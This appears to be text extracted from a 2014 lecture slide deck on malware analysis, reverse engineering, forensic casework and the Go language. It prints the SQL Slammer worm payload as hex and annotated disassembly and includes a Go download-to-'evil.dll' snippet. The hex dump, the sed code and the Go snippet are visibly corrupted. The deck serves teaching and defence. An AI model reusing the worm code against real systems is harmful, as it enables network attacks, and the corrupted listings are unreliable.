RE(:) go

Golden G. Richard III
University of New Orleans and Arcane Alloy, LLC

golden@cs.uno.edu
golden@arcanealloy.com

http://www.cs.uno.edu/~golden
http://www.arcanealloy.com

@nolaforensix
Who?

Professor of Computer Science and University Research Professor, Director, GNOCIA, University of New Orleans
http://www.cs.uno.edu/~golden
Digital forensics, OS internals, reverse engineering, offensive computing, pushing students to the brink of destruction, et al.

Founder, Arcane Alloy, LLC.
http://www.arcanealloy.com
Digital forensics, reverse engineering, malware analysis, security research, tool development, training.

Co-Founder, Partner / Photographer, High ISO Music, LLC.
http://www.highisomusic.com
Rock stars. Heavy Metal. Earplugs.
Malware: Then, Now

• Malware: software with malicious intent
  – Steal sensitive data
  – Destroy or modify data
  – Cause denial of service
  – ...

• “Old school” malware
  – Hacking exercises
  – “My mad skillz > yours”
  – Mostly, annoying

• Now
  – Monetized, targeted
  – Skillz → Skill$$
  – Extremely sophisticated, hard to investigate
  – Persistent
  – Serious risks for data theft / catastrophic damage

• Plus: Intentional backdoors, bugs in critical services!

For most users, not much difference between malware, backdoors, exploitable bugs
Malware Overview

• Lots of categories
  – Backdoor
  – Trojan Horse
  – Virus
  – Worm
  – Spyware

• Category not as important as:
  – Vulnerable targets
  – Attack vectors
  – Effects
  – Propagation method

Vulnerable Targets
• Microsoft Windows 2000
• Microsoft Windows NT

Propagation
• Single UDP packet
• Port 1434

Attack Vectors
• Buffer overflow
• SQL Server 2000

Effects
• Benign payload
• Fast propagation may overwhelm network resources

Copyright 2014 by Golden G. Richard III (@nolaforesix)
Malware Analysis

• Analyze malware to determine:
  – Origin
  – Infection vector
  – Effects and mitigation strategy
  – How to prevent future infections
• Analysis can be performed at different levels
• Quick attempt to understand effects
  – e.g., run malware in controlled environment and monitor
  – Quick attempts at understanding (anything) can == fail
• Reverse Engineering involves deep understanding of executable code structure and functionality
  – Difficult and time consuming, but can reveal ground truth
Malware Analysis Checklist

• What does it do?
• What changes to the system does it make?
• What other computers does it communicate with?
• Is it persistent?
• Does it spread?
• What damage has it caused already?
• What damage can it cause in the future?
• How did it get here?
• How can we can rid of it?
• How can we avoid infection in the future?
Increasing Overlap

- Live Forensics and Memory Analysis
- Traditional Storage Forensics
- Digital Forensics
- Reverse Engineering
- Incident Response

Increasingly encompasses all the others

More established

Hot research areas

Copyright 2014 by Golden G. Richard III (@nolaforensix)
Malware does impact forensics...
A Real eBlaster Case

Client’s computer infected with eBlaster, (commercial malware) from Spectorsoft

Extremely stealthy… How do you know it’s installed?

See credit card statement of someone living in your household or working at your business!

Try default hotkey sequence: SHIFT-ALT-CONTROL-T

Uses code injection and hiding techniques to make it more difficult to detect

Copyright 2014 by Golden G. Richard III (@nolaforensix)
Hotkey sequence brings up authentication screen.

Can’t access config screen without the password!
eBlaster Installation

- On installation, uses lots of methods to avoid detection
- Creates random directory in “C:\Windows”
- Chooses random names for files that are installed
- Randomly changes sizes of files installed
- All files have timestamps similar to surrounding Windows files
- Deletes all temporary install files
Installing eBlaster (2)

• Encrypted log files that are used to generate reports are written to a randomly named directory
• Constantly backdates file modifications to avoid easy detection
• Reports are securely deleted after some period of time
Finding the password, quickly...before the client runs out of money

Rely on software author to make mistakes to save time!

dd image → raw2vmdk

VMWare virtual machine

Live forensics analysis
# strings -o -e | YOUR-US67PI6LUV-20121017-214253.raw | grep VERYUNIQUE > strings.txt

Search memory dump for invalid password VERYUNIQUE

467105092:VERYUNIQUE

# python vol.py --profile=WinXPSP3x86 -f YOUR-US67PI6LUV-20121017-214253.raw strings -s strings.txt --output-file=stringslocation.txt -S

Map location of invalid pw to owning process

1bd77544 [3772:0012f544] VERYUNIQUE

PID of process whose address space includes string

# python vol.py --profile=WinXPSP3x86 -f YOUR-US67PI6LUV-20121017-214253.raw pslist

... 

0x82c24bf0 xmlavipv.exe 3772 1592 2 78 0 0 2012-10-17 21:41:20

Verify that it’s the process that gets spawned when dialog opens

# python vol.py --profile=WinXPSP3x86 -f YOUR-US67PI6LUV-20121017-214253.raw -p 3772 memdump

Dump memory of that process

Copyright 2014 by Golden G. Richard III (@nolaforensix)
Then just a gstrings, and celebration.

ACTUALPASSWORD

VERYUNIQUE

VERYUNIQUE
A Real Employee Misconduct Case

• From real, recent casework that I was involved in
• Internet Explorer browser cache loaded with thousands of “NSFW” images
• Browser history: appears user spent her entire work day surfing porn sites
• Images are located in precisely the right places to indicate intensive web browsing activity
• Times that images are downloaded correspond to times the user was “working” at the computer
• Employee will be fired
Aside: The Trojan Defense

• “Trojan defense” is popular in, e.g.,
  – child porn cases
  – employee “misconduct” cases
• “I didn’t download that stuff—a virus did it”
• “I didn’t take the money out of that account”
• “I didn’t leak that document!”
• Often, not taken very seriously by investigators
• Typical:
  – Run antivirus
  – Find nothing
  – Assume user was lying
This Time, “Trojan Defense” is True

• The user didn’t download the NSFW images
• She wasn’t even using IE when the images were downloaded
• Difficult to detect malware is the culprit in case
• Not explicitly detected by any commercial antivirus
• Difficult to analyze
  – Written in Borland Delphi 😞
  – Packed, crazy control flow, anti-debugging tricks
• Mimics IE browsing to download porn using the IE API, in the background
• No visible IE user interface
• Synchronizes porn “surfing” with active computer activity
“Background” Surfing

IExplore.exe
Internet Explorer Application

ShDocVw.dll
Web Browser Control

BrowseUI.dll
User Interface

MSHTML.dll
Trident
HTML/CSS Parser and Renderer
Document Object Model (DOM) and DHTML
ActiveDocument (DocObject)

URLMon.dll
Security and Download

WinInet.dll
HTTP and Cache
Reverse Engineering (RE)

• RE Goal
  – Deep understanding of executable code structure and functionality

• Why?
  – Analysis of malware
  – Pure curiosity
  – Creation of interoperable software
  – Differential analysis
    • How do software versions differ?
  – Patch verification
    • What does the patch really do?
    • Does it introduce new vulnerabilities?
  – Removal of copy protection / DRM

RE: Essential Background

• Assembly language
• Lossy compilation processes
• High Level Language (HLL) structures
• EXE file formats
• Operating systems internals
• Tools
  – EXE manipulation tools
  – Disassemblers
  – Debuggers
  – Live Analysis Tools
    • Registry monitoring
    • Filesystem monitoring
    • System call traces
    • Memory Analysis
High Level ➔ Low Level

Source
ASM, C, C++, Objective C, Ada, COBOL, etc.

Compilation, including optional optimization (e.g., with gcc), debugging symbols may or may not be included in object code

Object code

Linking: attaches entire code bodies for statically linked libraries + stubs for dynamically linked code

Executable

Environmental dependencies (DLLs, registry, network activity, etc.)

Copyright 2014 by Golden G. Richard III (@nolaforesix)
Impediments to Learning RE

• It’s hard (and getting harder)
• Vanishing prerequisite knowledge
• Languages →
• Compilers / Code generation
• Operating systems internals
• Deep assembler knowledge
  – When learning RE, you may not have it
  – When teaching RE, unlikely that students have it
  – Most books and academic courses on assembler: FAIL
Vanishing (2)

• Nuances of hardware platforms
  – Virtual memory system
  – Instruction decoding / pipelining
  – Debugging architecture
  – Virtualization architecture
  – ...

• Deep OS Internals knowledge
  – Requires serious study, beyond typical exposure in OS I
  – Particularly important for understanding kernel attacks
WHEN SCOTTY TEACHES REVERSE ENGINEERING:

AAAACH CAPTAIN!
THE STUDENTS, THEY CAHN’T
TAKE MUCH MORE! AH CAHN GIVE YE
A WALKTHROUGH AND A WEE BIT MORE,
BUT I CANNO’ GUARANTEE HOW
MUCH LONGER THEY’LL LAST!

Drawing by Frank Adelstein, by request
© 2014 by Golden G. Richard III (@nolaforensix)
Not so different when Scotty tries to learn or keep up with RE...

“How can I learn RE w/o really working hard at all?”

Scotty is disappointed in you. Fail.
RE Tools

- Process / Filesystem / Registry analysis
  - Live analysis of modification of Windows registry
  - Filesystem activity
  - procmon

- Serial / parallel port monitoring
  - Reverse engineer serial / parallel protocols
  - portmon

- Network trace capture / analysis
  - e.g., WireShark
  - Discover data transmitted / received by application
  - Discover remote peers
  - Allows reverse engineering of network protocols used by an application

- Debuggers, Disassemblers, Sandboxes
strings, even.

- Can sometimes gain some clues by running `strings` command against executable
  - `strings malware.exe` **ASCII**
  - `strings -e l malware.exe` **Unicode**
- Will **not** always be helpful, though
- Packed / encrypted malware has no readable strings
- But memory analysis and RE started this way...
- Occasionally still useful
strings: Example: ASCII

$ strings Email-Worm.Win32.Gruel.a

... 
kIlLeRgUaTe 1.03, I mAke ThIs vIrUs BeCaUsE I dOn'T hAvE NoThInG tO dO!!
We have created an error report thet you cand send to us. we will treat this report as confidential and anounymous.
Please tell microsoft about this problem. Windows X found serious error.

...
strings: Example: Unicode

$ strings -e 1 Email-Worm.Win32.Gruel.a

... 
Norton Security Response: has detected a new virus in the Internet. For this reason we made this tool attachment, to protect your computer from this serious virus. Due to the number of submissions received from customers, Symantec Security Response has upgraded this threat to a Category 5 (Maximum )

...
procmon

process monitor
OllyDbg debugger
Automated Malware Analysis

• Not as “deep” as reverse engineering, but can provide much quicker answers!
  • Anubis
    – http://anubis.iseclab.org/
    – Analyzes malware and generates PDF reports
  • Joe Sandbox Document Analyzer
    – http://www.document-analyzer.net/
    – PDF, RTF and Microsoft Office files
  • XecScan
    – http://scan.xecure-lab.com/
    – PDF and Office files
  • Malwr
    – www.malwr.com
    – Executables
  • Visual Threat
    – http://www.visualthreat.com/
    – Android applications

Essentially, fully automated sandbox analysis
Sandbox

Cuckoo host
Responsible for guest and analysis management. Start analysis, dumps traffic and generates reports.

Analysis Guests
A clean environment when run a sample. The sample behavior is reported back to the Cuckoo host.

Internet / Sinkhole

Virtual network
An isolated network where run analysis virtual machines.

Analysis VM n.1
Analysis VM n.2
Analysis VM n.3

Copyright 2014 by Golden G. Richard III (@nolaforensix)
Virus Total

SHA256: 61d0096867f96613237f4e76e0d73c67ea81a21f1f0c0da735b65d1d5562b3d2
File name: 0688.vir
Detection ratio: 35 / 49
Analysis date: 2014-01-15 00:41:09 UTC (5 months, 3 weeks ago)

Antivirus | Result | Update
--- | --- | ---
AVG | SQLSlammer | 20140114
Ad-Aware | Worm.SqlSlammer.Dump.A | 20140115
Agnitum | Win32.SQLExp.A | 20140114
AntiVir | Worm/SqlSlammer.dmp | 20140115
Antiy-AVL | Worm/Win32.Slammer | 20140114
Avast | Win32:SQLSlammer | 20140114
BitDefender | Worm.SqlSlammer.Dump.A | 20140115
Bkav | MW.Clodab4.Trojan.234a | 20140114
Commtouch | SQLSlammer.A | 20140114
Comodo | Worm.Win32.SQLSlammer.A.image | 20140114

Copyright 2014 by Golden G. Richard III (@nolaforensix)
Welcome to Anubis

Anubis is a service for analyzing malware.

Submit your Windows executable or Android APK and receive an analysis report telling you what it does. Alternatively, submit a suspicious URL and receive a report that shows you all the activities of the Internet Explorer process when visiting this URL.

Want notifications about Anubis downtimes and/or updates? Follow us on twitter.

We are proud to present our most recent substantial extension to Anubis: the analysis of Android APKs (codename Andrubis!)

Like the core-Anubis does for Windows PE executables, Andrubis executes Android apps in a sandbox and provides a detailed report on their behavior, including file access, network access, crypto operations, dynamic code loading and information leaks. In addition to the dynamic analysis in the sandbox, Andrubis also performs static analysis, yielding information on e.g. the app's activities, services, required external libraries and actually required permissions.

To analyze apps straight away from your smartphone, check out our experimental submission app! Available in the Play Store soon.

We are currently migrating to new hardware. Please report any service problems you experience.
30.05.2012 You can now also submit Android APKs!
16.02.2012 Five years Anubis!
05.07.2010 We have improved our analysis of network dumps. Extended DNS data (such as multiple DNS replies) are now available in the analysis reports.
02.07.2010 Dionaea/Nepenthes can again automatically upload samples to Anubis. We will reply with an analysis report!
01.06.2010 The Dll-analysis has been improved. Simply upload a dynamically linked library file for Windows, and we'll try to figure out how to analyze it best!
01.03.2010 We have vastly improved analysis performance of the sandbox. You should now get more analysis results for the same execution duration!

For analyzing Javascript and Flash files try Wepawet.
Reverse Engineering Modern Malware

- State-of-the-art malware not an easy target
- Modern malware authors take steps to make analysis very difficult
- Packing / encryption of malware’s code / data
- Polymorphism / Metamorphism
- Anti-debugger tactics
- Anti-virtualization tactics
- These issues may have to be dealt with simultaneously
SQL Slammer

---

```
0000 04 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ..
0010 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ..
0020 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ..
0030 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ..
0040 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ..
0050 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ..
0060 01 00 C9 B0 42 EB 0E 01 01 01 01 01 01 01 7C AE ....B.........p.
0070 42 01 00 AE 42 30 90 90 90 90 90 90 90 90 90 B2 DC C9 B.p.B........h..
0080 B0 42 01 01 01 01 01 01 31 C9 B1 18 50 E2 FD 35 01 .B........1..P..5.
0090 01 01 01 05 50 89 E5 51 68 2E 64 6C 6C 68 65 6C 33 ..P.Qh.dllhel13
00A0 32 68 68 65 72 6E 51 68 6F 75 70 74 34 6C 6F 72 63 6B 2h kernQhounthick
00B0 43 68 47 65 74 54 54 68 5B 6C 6C 68 51 68 63 32 2E 64 ChGetTf.l1Qh32.d
00C0 68 77 73 32 5F 66 69 51 68 73 6F 63 6B 66 69 64 hws2_f.etQhsockf
00D0 B9 74 6F 51 68 73 6F 63 6B 66 69 64 6E BE 18 10 AE 1Qhsend...B.E
00E0 D4 50 FF 16 50 8D 45 E0 50 8D 45 F0 50 FF 16 50 .P...P.E.P.E.P.P
00F0 BE 10 10 AE 42 8B 0E 8B 03 3D 55 8B EC 51 74 05 ...B...=U.Qt.
0100 BE 1C 10 AE 42 FF 16 FF D0 31 C9 51 50 81 F1 ...B......1.QQP..
0110 03 01 04 9B 8F F1 01 01 01 51 8D 45 CC 50 8B ...Q.E.F.
0120 45 C0 50 FF 16 6A 11 6A 02 6A 02 FF D0 50 8D 45 E.P...j.j...P.E
0130 C4 50 BB 45 C0 50 FF 16 89 C6 09 DB 81 FF F3 3C 61 .P.E.P........<a
0140 D9 FF BB 45 B4 8D 0C 40 8D 14 88 C1 E2 04 01 C2 ...E.....@...
0150 C1 E2 08 29 C2 8D 04 90 01 D8 89 45 B4 6A 10 8D ...}.........E.j.
0160 45 B0 50 31 C9 51 68 81 F1 78 01 51 8D 45 03 50 E.P.Qf.x.O.E.P
0170 9B 45 AC 50 FF D6 EB CA .E.P.....
```

---

UDP Payload for SQL Slammer

---

Copyright 2014 by Goldsw Q. Richard III (@nolaforensix)
SQL Slammer

45 seg000:00000021
46 seg000:00000022
47 seg000:00000027
48 seg000:0000002C
49 seg000:00000030
50 seg000:00000032
51 seg000:00000037
52 seg000:0000003C
53 seg000:00000040
54 seg000:00000045
55 seg000:00000046
56 seg000:0000004B
57 seg000:00000050
58 seg000:00000054
59 seg000:00000055
60 seg000:0000005A
61 seg000:0000005E
62 seg000:0000005F
63 seg000:00000064
64 seg000:00000069
65 seg000:0000006C
66 seg000:0000006D
67 seg000:0000006F
68 seg000:00000070
69 seg000:00000073
70 seg000:00000074
71 seg000:00000077
72 seg000:00000078
73 seg000:0000007A
74 seg000:0000007B
75 seg000:00000080
76 seg000:00000082
77 seg000:00000084
78 seg000:00000089
79 seg000:0000008B

push    ecx
push    6C6C642Eh
push    32336C65h
push    6E726568h
push    ecx
push    746E756Fh
push    436B6369h
push    54746547h
mov     cx, 6C6Ch
push    ecx
push    642E3233h
push    5F327377h
mov     cx, 7465h
push    ecx
push    6B636F73h
mov     cx, 6F74h
push    ecx
push    646E6573h
mov     esi, 42AE1018h
lea     eax, [ebp-2Ch]
push    eax
call    dword ptr [esi]
push    eax
lea     eax, [ebp-20h]
push    eax
lea     eax, [ebp-10h]
push    eax
call    dword ptr [esi]
push    eax
call    dword ptr [esi]
push    eax
mov     esi, 42AE1010h
mov     ebx, [esi]
mov     eax, [ebx]
 cmp     eax, 51EC0B55h
jz      short loc_90
mov     esi, 42AE1011h
push    null byte
push    null byte
push    "kernel32.dll"  ; (e.g., k=6Bh, e=65h, etc.)
pull    null byte
push    "GetTickCount"  ; (e.g., G=47h, e=65h, etc.)
; worm modifies only the low order 16 bits of cx, which
; preserves the null byte!  6C6Ch="11"
push    "ws2_32.d"  ; ("ll" was pushed via ecx)
; modify low order bits of ecx...
; ... to push "et"
push    "sock" to complete "socket"
push    "to" to complete "sendto"
push    "send" to complete "sendto"
push    null byte
; IAT entry for LoadLibrary in sqlsort.dll
; load address of "ws2_32.dll" on stack into eax...
; ... and supply as an argument to LoadLibrary
; call sqlsort:[IAT]->LoadLibrary("ws2_32.dll")
; return value in eax is address of ws2_32; save it
; load address of "GetTickCount" into eax...
; ... and supply as an argument to GetProcAddress
; load address of "kernel32.dll" into eax...
; ... and supply as an argument to LoadLibrary
; return value in eax is address of kernel32.dll, save it
; load possible address for GetProcAddress IAT entry
; ebx <-- possible address of GetProcAddress
; get four bytes from beginning of the function
; compare to known signature for GetProcAddress
; if it matches, jump
; otherwise, use a backup address (which isn't checked

© 2014 by Golden G. Richard III (@nolaforensix)
Obfuscation

• Deliberate obfuscation

s/^xx*$/:n:3:2:1:;&:/;tB
d;:B
/^$/d;h;s/^:.:\(\:\):/.\)*.*/\2 --&gt; \1;/x;/^:y:.:.:.:./*:*/b0
/^:n:.:.:.:x:.*/b1
s/:n:\(\:\):/.\):/.\)*x\:/.\)*:/n:\2:\1:\3:y:\1:\2:\3x:\4;/bB
:1
x;p;x;s/^:n:.:.:.:x:\(\.*\)/:/1;/bB
:0
x;p;x;s/^:y:\(\:\):/.\):/.\):/.\):x\(x*:\*)/:n:\1:\3:\2:\4;/bB
Towers of Hanoi

Obfuscated `sed` code by Amit Singh

```bash
bigjoe:Work golden$ echo xxx | sed -f hanoi.sed
1 --> 3
1 --> 2
3 --> 2
1 --> 3
2 --> 1
2 --> 3
1 --> 3
```

Obfuscated `sed` code by Amit Singh
PEID In Action

![PEID v0.95 Interface]

**File:** C:\asm\hello.exe

- **Entry point:** 00024000
- **File Offset:** 0001F000
- **Linker Info:** 83.82
- **EP Section:** .adata
- **First Bytes:** 60,E8,00,00
- **Subsystem:** Win32 GUI

**Options:**
- Multi Scan
- Task Viewer
- Options
- About
- Exit

**Stay on top**
Lack of familiarity with languages is obfuscation, too!
TIOBE Programming Community Index (TPCI)

• Tracks popularity of programming languages
• Based on search engine statistics
• Who knows if it’s completely accurate
• Looks reasonable (to me)
• [http://www.tiobe.com/index.php/content/paperinfo/tpci/tpci_definition.htm](http://www.tiobe.com/index.php/content/paperinfo/tpci/tpci_definition.htm) for how it’s calculated
• Not all of this stuff is relevant to RE, but provides a pulse of what you might see
• Plus, find languages that don’t suck for your own use!

© 2014 by Golden G. Richard III (@nolaforensix)
<table>
<thead>
<tr>
<th>May 2014</th>
<th>May 2013</th>
<th>Change</th>
<th>Programming Language</th>
<th>Ratings</th>
<th>Change</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>1</td>
<td></td>
<td>C</td>
<td>16.926%</td>
<td>-1.80%</td>
</tr>
<tr>
<td>2</td>
<td>2</td>
<td></td>
<td>Java</td>
<td>16.907%</td>
<td>-0.01%</td>
</tr>
<tr>
<td>3</td>
<td>3</td>
<td></td>
<td>Objective-C</td>
<td>11.791%</td>
<td>+1.36%</td>
</tr>
<tr>
<td>4</td>
<td>4</td>
<td></td>
<td>C++</td>
<td>5.986%</td>
<td>-3.21%</td>
</tr>
<tr>
<td>5</td>
<td>7</td>
<td></td>
<td>(Visual) Basic</td>
<td>4.197%</td>
<td>-0.46%</td>
</tr>
<tr>
<td>6</td>
<td>5</td>
<td></td>
<td>C#</td>
<td>3.745%</td>
<td>-2.37%</td>
</tr>
<tr>
<td>7</td>
<td>6</td>
<td></td>
<td>PHP</td>
<td>3.386%</td>
<td>-2.40%</td>
</tr>
<tr>
<td>8</td>
<td>8</td>
<td></td>
<td>Python</td>
<td>3.057%</td>
<td>-1.26%</td>
</tr>
<tr>
<td>9</td>
<td>11</td>
<td></td>
<td>JavaScript</td>
<td>1.788%</td>
<td>+0.25%</td>
</tr>
<tr>
<td>10</td>
<td>9</td>
<td></td>
<td>Perl</td>
<td>1.470%</td>
<td>-0.81%</td>
</tr>
<tr>
<td>11</td>
<td>12</td>
<td></td>
<td>Visual Basic .NET</td>
<td>1.264%</td>
<td>+0.13%</td>
</tr>
<tr>
<td>12</td>
<td>10</td>
<td></td>
<td>Ruby</td>
<td>1.242%</td>
<td>-0.43%</td>
</tr>
<tr>
<td>13</td>
<td>38</td>
<td></td>
<td>F#</td>
<td>1.030%</td>
<td>+0.79%</td>
</tr>
<tr>
<td>14</td>
<td>14</td>
<td></td>
<td>Transact-SQL</td>
<td>1.025%</td>
<td>+0.21%</td>
</tr>
<tr>
<td>15</td>
<td>17</td>
<td></td>
<td>Delphi/Object Pascal</td>
<td>0.974%</td>
<td>+0.24%</td>
</tr>
<tr>
<td>16</td>
<td>13</td>
<td></td>
<td>Lisp</td>
<td>0.967%</td>
<td>+0.07%</td>
</tr>
<tr>
<td>17</td>
<td>19</td>
<td></td>
<td>Assembly</td>
<td>0.773%</td>
<td>+0.14%</td>
</tr>
<tr>
<td>18</td>
<td>15</td>
<td></td>
<td>Pascal</td>
<td>0.752%</td>
<td>-0.05%</td>
</tr>
<tr>
<td>19</td>
<td>21</td>
<td></td>
<td>MATLAB</td>
<td>0.711%</td>
<td>+0.12%</td>
</tr>
<tr>
<td>20</td>
<td>42</td>
<td></td>
<td>ActionScript</td>
<td>0.674%</td>
<td>+0.47%</td>
</tr>
<tr>
<td>Position</td>
<td>Programming Language</td>
<td>Ratings</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>----------</td>
<td>----------------------</td>
<td>---------</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>21</td>
<td>ML</td>
<td>0.660</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>22</td>
<td>PL/SQL</td>
<td>0.641</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>23</td>
<td>Logo</td>
<td>0.637</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>24</td>
<td>OpenEdge ABL</td>
<td>0.622</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>25</td>
<td>PostScript</td>
<td>0.596</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>26</td>
<td>D</td>
<td>0.593</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>27</td>
<td>COBOL</td>
<td>0.589</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>28</td>
<td>SAS</td>
<td>0.521</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>29</td>
<td>cT</td>
<td>0.442</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>30</td>
<td>Ada</td>
<td>0.438</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>31</td>
<td>Go</td>
<td>0.423</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>32</td>
<td>Fortran</td>
<td>0.419</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>33</td>
<td>R</td>
<td>0.383</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>34</td>
<td>Lua</td>
<td>0.355</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>35</td>
<td>Scala</td>
<td>0.331</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>36</td>
<td>PL/I</td>
<td>0.330</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>37</td>
<td>ABAP</td>
<td>0.320</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>38</td>
<td>Scratch</td>
<td>0.298</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>39</td>
<td>Z shell</td>
<td>0.292</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>40</td>
<td>Haskell</td>
<td>0.281</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Malware: Popular Languages

- C
- ASM
- Borland Delphi (Object Pascal)
- Visual Basic
- C++
- VBScript, Javascript, PHP, etc. where scripting is appropriate
  - e.g.,
      Script
  - http://intlecrawler.com/about/press07
Visual Basic: Why?

• Lots of programmers started out writing BASIC
• Programmers fall right into VB, naturally
• Easy access to Windows APIs
• Familiar, and less brain damage than Haskell
• Plus, most 11 year olds don’t use Haskell

  – Other BASIC-like “variants”, e.g., AutoIt
  • [http://www.autoitscript.com/site/autoit/](http://www.autoitscript.com/site/autoit/)
Delphi: Why, Lord? Why?

- Turbo Pascal: Cheap, super fast compiler on MS-DOS
- “What I learned in school” + low-level hacking support
- Turbo Pascal → Borland Delphi → Embarcadero Delphi
- “If you want to talk to the Oracle, go to Delphi”
  – Borland Developer Danny Thorpe
- Compiler generates native code
- Rapid cross-compilation
- Rapid development
- “Hey, I (still?) already know Pascal?‘
- It just won’t die
- Awful to RE, although prob not chosen for that reason

http://authorstephaniethomas.wordpress.com
asm / C

• Only a “special few” really want to do serious development in assembler
• Performance-sensitive code and malware
• C suitable for 99% of OS / low-level stuff
• C very fast, but can be painful
• Strings, functions, arrays, etc. not first class objects
• Memory management really requires care
• I still “like” it— and I’ve used it for 30+ years
• Not really expressive enough for rapid development of security tools, et al
• Lots of malware written in C, but as systems move to other languages, malware might too
If we’re honest…a lot of us use C because…
IMO, go is like this band—it isn’t “good” because everything else sucks, it’s just good.
go Design Philosophy

• Born out of frustration with existing systems languages
• Programming too difficult, languages to blame
• Efficient compilation
• Efficient execution,
• Ease of programming
• Go: ease of programming of an interpreted, dynamically typed language with the efficiency and safety of a statically typed, compiled language

Existing: Don’t pick more than 2

Adapted from: http://golang.org/doc/faq
go Philosophy (2)

- Modern support for networking
- Support for multicore computing
- Concurrency is the norm, not exception
- Easy communication between concurrent functions (“goroutines”), based on Hoare’s CSP
- Fast compilation
- Seconds to build large applications
And?

• Still slower than C, but toolchain will improve
• No makefiles, no include files, sane build system
• C-like syntax (unlike Haskell, erlang, et al)
• Very expressive, great library support
• Generates dependence-free **statically linked** executables
• Portable: Windows / Linux / Mac
• Doesn’t force object-oriented paradigm on you!
• **Very** smart people developing
  – Rob Pike! Ken Thompson! et al
In One Slide

• Basically, better C, plus:
  – Expressiveness
  – Less mem management madness
  – Better error handling
  – Some OO without the shackles
  – (Procedural programming isn’t a crime)
  – Easy multithreading that works
  – Built-in support for package management, e.g., github
go Toolchain

- go **build** something.go
  - No more makefiles
- go **run** something.go
  - Build and execute
- go **fmt** something.go
  - No more arguing about formatting
  - Feel free to type C-style ;’s, but this removes them
- go **get** something.org/user/coolproj
  - Download packages
- go **install** something.go
- ...
- These rely on the 5g, 6g, 8g, etc. compilers (next slide)
Toolchain (2)

- 5a is a version of the Plan 9 assembler.
- 5c is a version of the Plan 9 C compiler.
- 5g is the version of the gc compiler for the ARM.
- 5l is the linker for the ARM.

- 6a is a version of the Plan 9 assembler.
- 6c is a version of the Plan 9 C compiler.
- 6g is the version of the gc compiler for the x86-64.
- 6l is the linker for the x86-64.

- 8a is a version of the Plan 9 assembler.
- 8c is a version of the Plan 9 C compiler.
- 8g is the version of the gc compiler for the x86.
- 8l is the linker for the 32-bit x86.
package main

import (
    "fmt"
    "net/http"
)

func handler(w http.ResponseWriter, r *http.Request) {
    fmt.Fprintf(w, "Hi there, I love %s!", r.URL.Path[1:])
}

func main() {
    http.HandleFunc("/", handler)
    http.ListenAndServe(":8080", nil)
}

Example: web stuff is absurdly easy...

Hi there, I love boudin!
package main
import "net/http"
import "io"
import "os"
import "fmt"

func main() {
    out, _ := os.Create("evil.dll")
    defer out.Close()
    resp, err :=
    if err != nil {
        fmt.Println("oops.")
    }
    defer resp.Body.Close()
    n, err := io.Copy(out, resp.Body) // automatically chunks file
    if err != nil {
        fmt.Println("oops.")
    } else {
        fmt.Printf("Wrote %d bytes\n", n)
    }
}
goroutines, defer, reflection

• Defer delays and stacks function calls
• Processed in order when a function completes
• For easy cleanup, error handling
• defer + panic + recover chosen instead of exceptions
• goroutines provide full concurrency support
• Trivial to implement multithreading
• goroutines use CSP-like communication / synchronization
• go is statically typed
• But reflection allows evaluation of types at run time

Original CSP paper from ~1978—MUST READ for every CS person: http://dl.acm.org/citation.cfm?id=359585
func CopyFile(dstName, srcName string) (written int64, err error) {
    src, err := os.Open(srcName)
    if err != nil {
        return
    }
    dst, err := os.Create(dstName)
    if err != nil {
        return // oops
    }
    written, err = io.Copy(dst, src)
    dst.Close()
    src.Close()
    return
}
func CopyFile(dstName, srcName string) 
    (written int64, err error) {
    src, err := os.Open(srcName)
    if err != nil {
        return
    }
    defer src.Close()
    dst, err := os.Create(dstName)
    if err != nil {
        return
    }
    defer dst.Close()
    return io.Copy(dst, src)
}
func main() {
    var examples = []string{
        "1 2 3 4 5",
        "100 50 25 12.5 6.25",
        "2 + 2 = 4",
        "1st class",
        "",
    }

    for _, ex := range examples {
        fmt.Printf("Parsing %q:
", ex)
        nums, err := Parse(ex)
        if err != nil {
            fmt.Println(err)
            continue
        }
        fmt.Println(nums)
    }
}

Example adapted from: https://code.google.com/p/go-wiki/wiki/PanicAndRecover
// Parse parses the space-separated words in input as integers.
func Parse(input string) (numbers []int, err error) {

defer func() {
    if r := recover(); r != nil {
        var ok bool
        err, ok = r.(error)
        if !ok {
            err = fmt.Errorf("pkg: %v", r)
        }
    }
}()

    fields := strings.Fields(input)
    numbers = fields2numbers(fields)
    return
}

Disassemble on your own and have a look
func fields2numbers(fields []string) (numbers []int) {
    if len(fields) == 0 {
        panic("no words to parse")
    }
    for idx, field := range fields {
        num, err := strconv.Atoi(field)
        if err != nil {
            panic(&ParseError{idx, field, err})
        }
        numbers = append(numbers, num)
    }
    return
}
// A ParseError indicates an error in converting a word into an integer.
type ParseError struct {
    Index int // The index into the space-separated list of words.
    Word string // The word that generated the parse error.
    Error error // The raw error that precipitated this error, if any.
}

// String returns a human-readable error message.
func (e *ParseError) String() string {
